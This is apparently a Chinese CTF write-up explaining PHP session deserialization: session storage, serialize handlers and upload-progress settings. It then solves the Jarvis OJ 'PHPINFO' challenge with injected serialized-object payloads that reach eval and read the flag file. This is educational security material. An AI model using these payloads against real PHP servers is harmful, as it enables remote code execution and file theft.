中途下车乃人间常事,耿耿于怀便是深情

0x00 引言

前面学习了PHP反序列化中的普通反序列化自增、自减、原生类反序列化、phar反序列化等,之外还有session反序列化未学习,此次针对session反序列化进行浅析。

0x01 session基础

session在网络应用中被称为会话控制,Session 对象存储特定用户会话所需的属性及配置信息。

session_start()函数: 用于初始化session数据,经常使用到的一个变量$_SESSION,当使用这个函数时

Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSES SID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie

每个session标签对应着一个$_SESSION 键-值类型数组,数组中的数据如果想要存储下来,首先需要反序列化。
PHP中的session反序列化有三种方式: php_serializephpphp_binary

了解到session序列化后需要储存在服务器上,默认的方式是储存在文件中,储存路径在session.save_path中,如果没有规定储存路径,那么默认会在储存在/tmp中,文件的名称是'sess_'+session名,文件中储存的是序列化后的session。

一些设置

session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启 
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。
#php.ini
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

有时在phpinfo中可以提供很多信息,phpinfo可以告诉我们什么
image-20210825005741102
session的存储位置:一般是存储在/tmp
session存储默认的文件名:sess_PHPSESSID:其中PHPSESSID为当前用户的sessionid值
image-20210825010331549
Linux中常见的php-session存放位置

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

一些基本函数

session_create_id:	创建新会话ID
session_destory:	销毁一个会话中的全部数据
session_id:			获取/设置当前会话ID
session_name:		获取/设置会话名称
session_start:		启动新会话或者重用现有会话
session_status:		返回当前会话状态
session_unset: 		释放所有的会话容量

0x02session序列化攻击

CTF题目实战——Jarvis OJ【PHPINFO】

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

可以从代码中看出,只要get方法提交phpinfo即可触发__construct()看到phpinfo页面,然后进一步查看信息
image-20210825121513212
phpinfo中,默认配置在Master Value,环境实际使用配置是Local Value
这里的session.serialize_handler默认引擎使用php_serialize而实际使用的引擎是php
代码中也是给出了ini_set('session.serialize_handler', 'php');
session.upload_progress.enabled也是On状态,可以使用。代码中没有存在$_SESSION变量进行赋值。
image-20210825125444453
借鉴PHP手册的案例一https://www.php.net/manual/zh/session.upload-progress.php

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='payload';
}
$obj = new OowoO();
echo serialize($obj);
?>
//payload
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

在filename处用payload替换掉。
image-20210825131850192

$_SERVER[‘SCRIPT_FILENAME’] 也是包含当前运行脚本的路径,与 $_SERVER[‘SCRIPT_NAME’] 不同的是,这是服务器端的绝对路径。

继续构造查看该文件的payload

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}